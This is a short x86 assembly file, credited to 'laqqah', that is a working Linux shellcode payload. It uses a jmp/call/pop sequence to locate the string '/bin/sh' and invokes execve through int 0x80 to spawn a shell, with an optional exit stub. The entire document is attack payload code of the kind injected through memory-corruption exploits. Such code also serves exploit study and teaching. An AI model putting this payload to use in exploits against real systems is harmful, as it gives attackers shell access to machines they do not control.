# launch a shell - by laqqah
.global _start
_start:
jmp 1f
2:
pop %ebx        # "/bin/sh"
xor %eax, %eax
push %eax
movb %al, 7(%ebx)
orb $11, %al
mov %esp, %edx
push %ebx
mov %esp, %ecx
int $0x80

.ifdef SAFE
# exit
xor %eax, %eax
inc %eax
xor %ebx, %ebx
int $0x80
.endif  # SAFE

1:
call 2b
.ascii "/bin/sh"